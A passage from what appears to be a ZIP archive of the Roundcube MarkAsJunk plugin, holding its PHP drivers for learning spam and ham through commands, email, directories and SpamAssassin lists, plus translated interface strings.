                continue;
            }

            $sql_result = $db->query("SELECT `id` FROM `mailaddr` WHERE `email` = ? ORDER BY `priority` DESC", $email);

            if ($sql_result && ($res_array = $db->fetch_assoc($sql_result))) {
                $sid = $res_array['id'];
            }
            else {
                if ($debug) {
                    rcube::write_log('markasjunk', "$email not found in mailaddr table - add it");
                }

                $sql_result = $db->query("INSERT INTO `mailaddr` ( `priority`, `email` ) VALUES ( 20, ? )", $email);

                if ($sql_result) {
                    $sid = $db->insert_id();
                }
                else {
                    if ($debug) {
                        rcube::write_log('markasjunk', "Cannot add $email to mailaddr table: " . $db->is_error($sql_result));
                    }

                    return false;
                }
            }

            $wb = '';
            $sql_result = $db->query("SELECT `wb` FROM `wblist` WHERE `sid` = ? AND `rid` =?", $sid, $rid);

            if ($sql_result && ($res_array = $db->fetch_assoc($sql_result))) {
                $wb = $res_array['wb'];
            }

            if (!$wb || (!$spam && preg_match('/^([BbNnFf])[\s]*\z/', $wb)) || ($spam && preg_match('/^([WwYyTt])[\s]*\z/', $wb))) {
                $newwb = 'w';

                if ($spam) {
                    $newwb = 'b';
                }

                if ($wb) {
                    $sql_result = $db->query("UPDATE `wblist` SET `wb` = ? WHERE `sid` = ? AND `rid` = ?",
                        $newwb, $sid, $rid);
                }
                else {
                    $sql_result = $db->query("INSERT INTO `wblist` (`sid`, `rid`, `wb`) VALUES (?, ?, ?)",
                        $sid, $rid, $newwb);
                }

                if (!$sql_result) {
                    if ($debug) {
                        rcube::write_log('markasjunk', "Cannot update wblist for user {$this->user_email} with $email");
                    }

                    return false;
                }
            }
        }
    }
}
PKh�\b6�PP(plugins/markasjunk/drivers/cmd_learn.phpnu�[���<?php

/**
 * Command line learn driver
 *
 * @version 3.1
 *
 * @author Philip Weir
 * Patched by Julien Vehent to support DSPAM
 * Enhanced support for DSPAM by Stevan Bajic <stevan@bajic.ch>
 *
 * Copyright (C) 2009-2018 Philip Weir
 *
 * This driver is part of the MarkASJunk plugin for Roundcube.
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with Roundcube. If not, see https://www.gnu.org/licenses/.
 */
class markasjunk_cmd_learn
{
    public function spam($uids, $src_mbox, $dst_mbox)
    {
        $this->_do_salearn($uids, true, $src_mbox);
    }

    public function ham($uids, $src_mbox, $dst_mbox)
    {
        $this->_do_salearn($uids, false, $src_mbox);
    }

    private function _do_salearn($uids, $spam, $src_mbox)
    {
        $rcube    = rcube::get_instance();
        $temp_dir = realpath($rcube->config->get('temp_dir'));
        $command  = $rcube->config->get($spam ? 'markasjunk_spam_cmd' : 'markasjunk_ham_cmd');
        $debug    = $rcube->config->get('markasjunk_debug');

        if (!$command) {
            return;
        }

        if (strpos($command, '%h') !== false) {
            preg_match_all('/%h:([\w_-]+)/', $command, $header_names, PREG_SET_ORDER);
            $header_names = array_column($header_names, 1);
        }

        // backwards compatibility %xds removed in markasjunk v1.12
        $command = str_replace('%xds', '%h:x-dspam-signature', $command);
        $command = str_replace('%u', escapeshellarg($_SESSION['username']), $command);
        $command = str_replace('%l', escapeshellarg($rcube->user->get_username('local')), $command);
        $command = str_replace('%d', escapeshellarg($rcube->user->get_username('domain')), $command);
        if (strpos($command, '%i') !== false) {
            $identity = $rcube->user->get_identity();
            $command  = str_replace('%i', escapeshellarg($identity['email']), $command);
        }

        foreach ($uids as $uid) {
            // reset command for next message
            $tmp_command = $command;

            if (strpos($tmp_command, '%s') !== false) {
                $message     = new rcube_message($uid);
                $tmp_command = str_replace('%s', escapeshellarg($message->sender['mailto']), $tmp_command);
            }

            if (!empty($header_names)) {
                $storage = $rcube->get_storage();
                $storage->check_connection();
                $headers = $storage->conn->fetchHeader($src_mbox, $uid, true, false, $header_names);

                foreach ($header_names as $header) {
                    $val = null;
                    if ($headers) {
                        $val = $headers->get($header);
                        $val = is_array($val) ? array_first($val) : $val;
                    }

                    if (!empty($val)) {
                        $tmp_command = str_replace('%h:' . $header, escapeshellarg($val), $tmp_command);
                    }
                    else {
                        if ($debug) {
                            rcube::write_log('markasjunk', "header {$header} not found in message {$src_mbox}/{$uid}");
                        }

                        continue 2;
                    }
                }
            }

            if (strpos($command, '%f') !== false) {
                $tmpfname = tempnam($temp_dir, 'rcmSALearn');
                file_put_contents($tmpfname, $rcube->storage->get_raw_body($uid));
                $tmp_command = str_replace('%f', escapeshellarg($tmpfname), $tmp_command);
            }

            $output = shell_exec($tmp_command);

            if ($debug) {
                if ($output) {
                    $tmp_command .= "\n$output";
                }

                rcube::write_log('markasjunk', $tmp_command);
            }

            if (isset($tmpfname)) {
                unlink($tmpfname);
            }
        }
    }
}
PKh�\��`dnn*plugins/markasjunk/drivers/email_learn.phpnu�[���<?php

/**
 * Email learn driver
 *
 * @version 3.0
 *
 * @author Philip Weir
 *
 * Copyright (C) 2009-2017 Philip Weir
 *
 * This driver is part of the MarkASJunk plugin for Roundcube.
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with Roundcube. If not, see https://www.gnu.org/licenses/.
 */
class markasjunk_email_learn
{
    private $rcube;

    public function spam($uids, $src_mbox, $dst_mbox)
    {
        $this->_do_emaillearn($uids, true);
    }

    public function ham($uids, $src_mbox, $dst_mbox)
    {
        $this->_do_emaillearn($uids, false);
    }

    private function _do_emaillearn($uids, $spam)
    {
        $this->rcube  = rcube::get_instance();
        $identity     = $this->rcube->user->get_identity();
        $from         = $identity['email'];
        $from_string  = format_email_recipient($from, $identity['name']);
        $attach       = $this->rcube->config->get('markasjunk_email_attach', false);
        $debug        = $this->rcube->config->get('markasjunk_debug');
        $product      = $this->rcube->config->get('product_name');
        $temp_dir     = unslashify($this->rcube->config->get('temp_dir'));

        $subject = (string) $this->rcube->config->get('markasjunk_email_subject');
        $mailto  = (string) $this->rcube->config->get($spam ? 'markasjunk_email_spam' : 'markasjunk_email_ham');
        $subject = $this->_parse_vars($subject, $spam, $from);
        $mailto  = $this->_parse_vars($mailto, $spam, $from);

        // no address to send to, exit
        if (!$mailto) {
            return;
        }

        foreach ($uids as $i => $uid) {
            $MESSAGE = new rcube_message($uid);
            $message_file = null;

            // set message charset as default
            if (!empty($MESSAGE->headers->charset)) {
                $this->rcube->storage->set_charset($MESSAGE->headers->charset);
            }

            $OUTPUT   = $this->rcube->output;
            $SENDMAIL = new rcmail_sendmail(null, [
                    'sendmail'      => true,
                    'from'          => $from,
                    'mailto'        => $mailto,
                    'dsn_enabled'   => false,
                    'charset'       => 'UTF-8',
                    'error_handler' => function(...$args) use ($OUTPUT) {
                        call_user_func_array([$OUTPUT, 'show_message'], $args);
                        $OUTPUT->send();
                    }
            ]);

            if ($attach) {
                $headers = [
                    'Date'       => $this->rcube->user_date(),
                    'From'       => $from_string,
                    'To'         => $mailto,
                    'Subject'    => $subject,
                    'User-Agent' => $this->rcube->config->get('useragent'),
                    'Message-ID' => $this->rcube->gen_message_id($from),
                    'X-Sender'   => $from
                ];

                $message_text = ($spam ? 'Spam' : 'Ham') . " report from $product";

                // create attachment
                $orig_subject = $MESSAGE->get_header('subject');
                $disp_name    = (!empty($orig_subject) ? $orig_subject : 'message_rfc822') . '.eml';
                $message_file = tempnam($temp_dir, 'rcm');
                $attachment   = [];

                if ($fp = fopen($message_file, 'w')) {
                    $this->rcube->storage->get_raw_body($uid, $fp);
                    fclose($fp);

                    $attachment = [
                        'name'     => $disp_name,
                        'mimetype' => 'message/rfc822',
                        'path'     => $message_file,
                        'size'     => filesize($message_file),
                        'charset'  => $MESSAGE->headers->charset
                    ];
                }

                // create message
                $MAIL_MIME = $SENDMAIL->create_message($headers, $message_text, false, [$attachment]);

                if (count($attachment) > 0) { // sanity check in case creating the attachment failed
                    $folding = (int) $this->rcube->config->get('mime_param_folding');

                    $MAIL_MIME->addAttachment($attachment['path'],
                        $attachment['mimetype'], $attachment['name'], true,
                        '8bit', 'attachment', $attachment['charset'], '', '',
                        $folding ? 'quoted-printable' : null,
                        $folding == 2 ? 'quoted-printable' : null,
                        '', RCUBE_CHARSET
                    );
                }
            }
            else {
                $headers = [
                    'Resent-From'       => $from_string,
                    'Resent-To'         => $mailto,
                    'Resent-Date'       => $this->rcube->user_date(),
                    'Resent-Message-ID' => $this->rcube->gen_message_id($from)
                ];

                // create the bounce message
                $MAIL_MIME = new rcmail_resend_mail([
                        'bounce_message' => $MESSAGE,
                        'bounce_headers' => $headers,
                ]);
            }

            $SENDMAIL->deliver_message($MAIL_MIME, $i == count($uids) - 1);

            // clean up
            if ($message_file) {
                unlink($message_file);
            }

            if ($debug) {
                rcube::write_log('markasjunk', $uid . ($spam ? ' SPAM ' : ' HAM ') . $mailto . ' (' . $subject . ')');
            }
        }
    }

    private function _parse_vars($data, $spam, $from)
    {
        $data = str_replace('%u', $_SESSION['username'], $data);
        $data = str_replace('%t', $spam ? 'spam' : 'ham', $data);
        $data = str_replace('%l', $this->rcube->user->get_username('local'), $data);
        $data = str_replace('%d', $this->rcube->user->get_username('domain'), $data);
        $data = str_replace('%i', $from, $data);

        return $data;
    }
}
PKh�\�B|�MM(plugins/markasjunk/drivers/dir_learn.phpnu�[���<?php

/**
 * Copy spam/ham messages to a directory for learning later
 *
 * @version 2.0
 *
 * @author Philip Weir
 *
 * Copyright (C) 2009-2014 Philip Weir
 *
 * This driver is part of the MarkASJunk plugin for Roundcube.
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with Roundcube. If not, see https://www.gnu.org/licenses/.
 */
class markasjunk_dir_learn
{
    public function spam($uids, $src_mbox, $dst_mbox)
    {
        $this->_do_messagemove($uids, true);
    }

    public function ham($uids, $src_mbox, $dst_mbox)
    {
        $this->_do_messagemove($uids, false);
    }

    private function _do_messagemove($uids, $spam)
    {
        $rcube    = rcube::get_instance();
        $dest_dir = unslashify($rcube->config->get($spam ? 'markasjunk_spam_dir' : 'markasjunk_ham_dir'));

        if (!$dest_dir) {
            return;
        }

        $debug    = $rcube->config->get('markasjunk_debug');
        $filename = $rcube->config->get('markasjunk_filename');
        $filename = str_replace('%u', $_SESSION['username'], $filename);
        $filename = str_replace('%t', ($spam) ? 'spam' : 'ham', $filename);
        $filename = str_replace('%l', $rcube->user->get_username('local'), $filename);
        $filename = str_replace('%d', $rcube->user->get_username('domain'), $filename);

        foreach ($uids as $uid) {
            $tmpfname = tempnam($dest_dir, $filename);
            file_put_contents($tmpfname, $rcube->storage->get_raw_body($uid));

            if ($debug) {
                rcube::write_log('markasjunk', $tmpfname);
            }
        }
    }
}
PKh�\�	��@
@
&plugins/markasjunk/drivers/jsevent.phpnu�[���<?php

/**
 * MarkAsJunk JS events example
 * This is an example of how to interact with the markasjunk JS event
 * markasjunk-update to change the spam/ham options shown for specific
 * folders
 *
 * @version 0.1
 * @author Philip Weir
 *
 * Copyright (C) 2016 Philip Weir
 *
 * This driver is part of the MarkASJunk plugin for Roundcube.
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with Roundcube. If not, see http://www.gnu.org/licenses/.
 */

class markasjunk_jsevent
{
    private $addition_spam_folders = ['spam2', 'spam3'];
    private $suspicious_folders    = ['unknown1', 'unknown2'];

    public function init()
    {
        $rcmail = rcmail::get_instance();

        // only execute this code on page load
        if ($rcmail->output->type != 'html') {
            return;
        }

        $js_addition_spam_folders = json_encode($this->addition_spam_folders);
        $js_suspicious_folders    = json_encode($this->suspicious_folders);

        $script = <<<EOL
rcmail.addEventListener('markasjunk-update', function(props) {
    var addition_spam_folders = {$js_addition_spam_folders};
    var suspicious_folders = {$js_suspicious_folders};

    // ignore this special code when in a multifolder listing
    if (rcmail.is_multifolder_listing())
        return;

    if ($.inArray(rcmail.env.mailbox, addition_spam_folders) > -1) {
        props.disp.spam = false;
        props.disp.ham = true;
    }
    else if ($.inArray(rcmail.env.mailbox, suspicious_folders) > -1) {
        props.disp.spam = true;
        props.disp.ham = true;

        // from here it is also possible to alter the buttons themselves...
        props.objs.spamobj.find('a > span').text('As possibly spam');
    }
    else {
        props.objs.spamobj.find('a > span').text(rcmail.get_label('markasjunk.markasjunk'));
    }

    return props;
});
EOL;

        $rcmail->output->add_script($script, 'docready');
    }

    public function spam(&$uids, $mbox)
    {
        // Treat message as spam...
    }

    public function ham(&$uids, $mbox)
    {
        // Treat message as ham...
    }
}
PKh�\��d��+plugins/markasjunk/drivers/sa_blacklist.phpnu�[���<?php

/**
 * SpamAssassin Blacklist driver
 *
 * @version 2.0
 * @requires SAUserPrefs plugin
 *
 * @author Philip Weir
 *
 * Copyright (C) 2010-2014 Philip Weir
 *
 * This driver is part of the MarkASJunk plugin for Roundcube.
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with Roundcube. If not, see https://www.gnu.org/licenses/.
 */
class markasjunk_sa_blacklist
{
    private $sa_user;
    private $sa_table;
    private $sa_username_field;
    private $sa_preference_field;
    private $sa_value_field;

    public function spam($uids, $src_mbox, $dst_mbox)
    {
        $this->_do_list($uids, true);
    }

    public function ham($uids, $src_mbox, $dst_mbox)
    {
        $this->_do_list($uids, false);
    }

    private function _do_list($uids, $spam)
    {
        $rcube = rcube::get_instance();
        $this->sa_user             = $rcube->config->get('sauserprefs_userid', "%u");
        $this->sa_table            = $rcube->config->get('sauserprefs_sql_table_name');
        $this->sa_username_field   = $rcube->config->get('sauserprefs_sql_username_field');
        $this->sa_preference_field = $rcube->config->get('sauserprefs_sql_preference_field');
        $this->sa_value_field      = $rcube->config->get('sauserprefs_sql_value_field');

        // SAv4 compatibility
        $blocklist_pref_name       = $rcube->config->get('sauserprefs_sav4', false) ? "blocklist_from" : "blacklist_from";
        $welcomelist_pref_name     = $rcube->config->get('sauserprefs_sav4', false) ? "welcomelist_from" : "whitelist_from";

        $identity = $rcube->user->get_identity();
        $identity = $identity['email'];

        $this->sa_user = str_replace('%u', $_SESSION['username'], $this->sa_user);
        $this->sa_user = str_replace('%l', $rcube->user->get_username('local'), $this->sa_user);
        $this->sa_user = str_replace('%d', $rcube->user->get_username('domain'), $this->sa_user);
        $this->sa_user = str_replace('%i', $identity, $this->sa_user);

        $config_file = $rcube->config->get('markasjunk_sauserprefs_config');
        $debug       = $rcube->config->get('markasjunk_debug');

        if (is_file($config_file) && !$rcube->config->load_from_file($config_file)) {
            rcube::raise_error([
                    'code' => 527, 'file' => __FILE__, 'line' => __LINE__,
                    'message' => "Failed to load config from $config_file"
                ], true, false
            );

            return false;
        }

        $db = rcube_db::factory($rcube->config->get('sauserprefs_db_dsnw'), $rcube->config->get('sauserprefs_db_dsnr'), $rcube->config->get('sauserprefs_db_persistent'));
        $db->set_debug((bool) $rcube->config->get('sql_debug'));
        $db->db_connect('w');

        // check DB connections and exit on failure
        if ($err_str = $db->is_error()) {
            rcube::raise_error([
                    'code' => 603,
                    'type' => 'db',
                    'message' => $err_str
                ], false, true
            );
        }

        foreach ($uids as $uid) {
            $message = new rcube_message($uid);
            $email   = $message->sender['mailto'];

            // skip invalid emails
            if (!rcube_utils::check_email($email, false)) {
                continue;
            }

            if ($spam) {
                // delete any welcomelisting for this address
                $db->query(
                    "DELETE FROM `{$this->sa_table}` WHERE `{$this->sa_username_field}` = ? "
                        . "AND `{$this->sa_preference_field}` = ? AND `{$this->sa_value_field}` = ?",
                    $this->sa_user,
                    $welcomelist_pref_name,
                    $email
                );

                // check address is not already blocklisted
                $sql_result = $db->query(
                    "SELECT `value` FROM `{$this->sa_table}` WHERE `{$this->sa_username_field}` = ? "
                        . "AND `{$this->sa_preference_field}` = ? AND `{$this->sa_value_field}` = ?",
                    $this->sa_user,
                    $blocklist_pref_name,
                    $email
                );

                if (!$db->fetch_array($sql_result)) {
                    $db->query(
                        "INSERT INTO `{$this->sa_table}` (`{$this->sa_username_field}`, `{$this->sa_preference_field}`, `{$this->sa_value_field}`)"
                            . " VALUES (?, ?, ?)",
                        $this->sa_user,
                        $blocklist_pref_name,
                        $email
                    );

                    if ($debug) {
                        rcube::write_log('markasjunk', $this->sa_user . ' blocklist ' . $email);
                    }
                }
            }
            else {
                // delete any blocklisting for this address
                $db->query(
                    "DELETE FROM `{$this->sa_table}` WHERE `{$this->sa_username_field}` = ? AND "
                        . "`{$this->sa_preference_field}` = ? AND `{$this->sa_value_field}` = ?",
                    $this->sa_user,
                    $blocklist_pref_name,
                    $email
                );

                // check address is not already welcomelisted
                $sql_result = $db->query(
                    "SELECT `value` FROM `{$this->sa_table}` WHERE `{$this->sa_username_field}` = ? "
                        . "AND `{$this->sa_preference_field}` = ? AND `{$this->sa_value_field}` = ?",
                    $this->sa_user,
                    $welcomelist_pref_name,
                    $email
                );

                if (!$db->fetch_array($sql_result)) {
                    $db->query(
                        "INSERT INTO `{$this->sa_table}` (`{$this->sa_username_field}`, `{$this->sa_preference_field}`, `{$this->sa_value_field}`)"
                            . " VALUES (?, ?, ?)",
                        $this->sa_user,
                        $welcomelist_pref_name,
                        $email);

                    if ($debug) {
                        rcube::write_log('markasjunk', $this->sa_user . ' welcomelist ' . $email);
                    }
                }
            }
        }
    }
}
PKh�\�%[uu)plugins/markasjunk/localization/bg_BG.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Mark-As-Junk plugin        |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-markasjunk/
*/

$labels['buttonjunk'] = 'Това писмо е Спам';
$labels['asjunk'] = 'Като Спам';
$labels['markasjunk'] = 'Маркирай като Спам';
$labels['buttonnotjunk'] = 'Това писмо не е Спам';
$labels['asnotjunk'] = 'Като не Спам';
$labels['markasnotjunk'] = 'Маркирай като не Спам';
$labels['notjunk'] = 'Не е Спам';
$messages['reportedasjunk'] = 'Писмото е маркирано като Спам успешно';
$messages['reportedasnotjunk'] = 'Писмото е маркирано като не Спам успешно';
PKh�\Wi���)plugins/markasjunk/localization/en_US.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Mark-As-Junk plugin        |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-markasjunk/
*/

$labels = [];
$labels['buttonjunk'] = 'This message is junk';
$labels['asjunk'] = 'As junk';
$labels['markasjunk'] = 'Mark as junk';
$labels['buttonnotjunk'] = 'This message is not junk';
$labels['asnotjunk'] = 'As not junk';
$labels['markasnotjunk'] = 'Mark as not junk';
$labels['notjunk'] = 'Not junk';

$messages = [];
$messages['reportedasjunk'] = 'Successfully reported as junk';
$messages['reportedasnotjunk'] = 'Successfully reported as not junk';
PKh�\������)plugins/markasjunk/localization/fi_FI.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Mark-As-Junk plugin        |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-markasjunk/
*/

$labels['buttonjunk'] = 'Tämä viesti on roskapostia';
$labels['asjunk'] = 'Roskapostina';
$labels['markasjunk'] = 'Merkitse roskapostiksi';
$labels['buttonnotjunk'] = 'Tämä viesti ei ole roskapostia';
$labels['asnotjunk'] = 'Ei roskapostina';
$labels['markasnotjunk'] = 'Poista roskaposti-merkintä';
$labels['notjunk'] = 'Ei roskaposti';
$messages['reportedasjunk'] = 'Merkittiin roskapostiksi';
$messages['reportedasnotjunk'] = 'Roskaposti-merkintä poistettiin';
PKh�\|��%)plugins/markasjunk/localization/nb_NO.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Mark-As-Junk plugin        |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-markasjunk/
*/

$labels['buttonjunk'] = 'Denne meldingen er søppelpost';
$labels['asjunk'] = 'Som søppelpost';
$labels['markasjunk'] = 'Merk som søppelpost';
$labels['buttonnotjunk'] = 'Denne meldingen er ikke søppelpost';
$labels['asnotjunk'] = 'Som ikke-søppelpost';
$labels['markasnotjunk'] = 'Merk som ikke søppelpost';
$labels['notjunk'] = 'Ikke søppelpost';
$messages['reportedasjunk'] = 'Rapportering av søppelpost var vellykket';
$messages['reportedasnotjunk'] = 'Rapportering av ikke-søppelpost var vellykket';
PKh�\{vp		)plugins/markasjunk/localization/sq_AL.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Mark-As-Junk plugin        |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-markasjunk/
*/

$labels['buttonjunk'] = 'Ky mesazh është hedhurinë';
$labels['asjunk'] = 'Si hedhurinë';
$labels['markasjunk'] = 'Vëri shenjë si hedhurinë';
$labels['buttonnotjunk'] = 'Ky mesazh s’është hedhurinë';
$labels['asnotjunk'] = 'Si jo hedhurinë';
$labels['markasnotjunk'] = 'Vëri shenjë si jo hedhurinë';
$labels['notjunk'] = 'Jo hedhurinë';
$messages['reportedasjunk'] = 'U raportua me sukses si hedhurinë';
$messages['reportedasnotjunk'] = 'U raportua me sukses si jo hedhurinë';
PKh�\m����)plugins/markasjunk/localization/et_EE.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Mark-As-Junk plugin        |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-markasjunk/
*/

$labels['buttonjunk'] = 'See kiri on rämpspost';
$labels['asjunk'] = 'Kui rämpspost';
$labels['markasjunk'] = 'Märgi rämpspostiks';
$labels['buttonnotjunk'] = 'See kiri ei ole rämpspost';
$labels['asnotjunk'] = 'Kui mitte rämpspost';
$labels['markasnotjunk'] = 'Märgi mitte rämpspostiks';
$labels['notjunk'] = 'Pole rämpspost';
$messages['reportedasjunk'] = 'Edukalt teatatud kui räpspost';
$messages['reportedasnotjunk'] = 'Edukalt teatatud kui mitte räpspost';
PKh�\^����)plugins/markasjunk/localization/eu_ES.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Mark-As-Junk plugin        |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-markasjunk/
*/

$labels['buttonjunk'] = 'Mezu hau zaborra da';
$labels['asjunk'] = 'Zaborra moduan';
$labels['markasjunk'] = 'Markatu zaborra moduan';
$labels['buttonnotjunk'] = 'Mezu hau ez da zaborra';
$labels['asnotjunk'] = 'Ez zaborra moduan';
$labels['markasnotjunk'] = 'Markatu ez zaborra moduan';
$labels['notjunk'] = 'Ez da zaborra';
$messages['reportedasjunk'] = 'Zabor gisa informatu da';
$messages['reportedasnotjunk'] = 'Ez zaborra gisa informatu da';
PKh�\�l�,,)plugins/markasjunk/localization/tr_TR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Mark-As-Junk plugin        |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-markasjunk/
*/

$labels['buttonjunk'] = 'Bu istenmeyen bir ileti';
$labels['asjunk'] = 'İstenmeyen olarak';
$labels['markasjunk'] = 'İstenmeyen olarak işaretle';
$labels['buttonnotjunk'] = 'Bu istenmeyen bir ileti değil';
$labels['asnotjunk'] = 'İstenmeyen değil olarak';
$labels['markasnotjunk'] = 'İstenmeyen değil olarak işaretle';
$labels['notjunk'] = 'İstenmeyen e-posta değil';
$messages['reportedasjunk'] = 'İstenmeyen e-posta olduğu bildirildi';
$messages['reportedasnotjunk'] = 'İstenmeyen e-posta olmadığı bildirildi';
PKh�\�\���)plugins/markasjunk/localization/es_AR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Mark-As-Junk plugin        |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-markasjunk/
*/

$labels['buttonjunk'] = 'Este mensaje es spam';
$labels['asjunk'] = 'Es spam';
$labels['markasjunk'] = 'Marcar como spam';
$labels['buttonnotjunk'] = 'Este mensaje no es spam';
$labels['asnotjunk'] = 'No es spam';
$labels['markasnotjunk'] = 'Marcar como no spam';
$labels['notjunk'] = 'No es spam';
$messages['reportedasjunk'] = 'Reportado como spam exitosamente';
$messages['reportedasnotjunk'] = 'Marcado como no spam exitosamente';
PKh�\T��%GG&plugins/markasjunk/localization/ku.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Mark-As-Junk plugin        |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-markasjunk/
*/

$labels['buttonjunk'] = 'Ev peyam nebaş e';
PKh�\��K_��)plugins/markasjunk/localization/pt_BR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Mark-As-Junk plugin        |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-markasjunk/
*/

$labels['buttonjunk'] = 'Esta mensagem é lixo';
$labels['asjunk'] = 'Como lixo';
$labels['markasjunk'] = 'Marcar como lixo';
$labels['buttonnotjunk'] = 'Esta mensagem não é lixo';
$labels['asnotjunk'] = 'Como não lixo';
$labels['markasnotjunk'] = 'Marcar como não lixo';
$labels['notjunk'] = 'Não é lixo';
$messages['reportedasjunk'] = 'Reportado como lixo com sucesso';
$messages['reportedasnotjunk'] = 'Reportado como não lixo com sucesso';
PKh�\7�d���)plugins/markasjunk/localization/lv_LV.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Mark-As-Junk plugin        |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
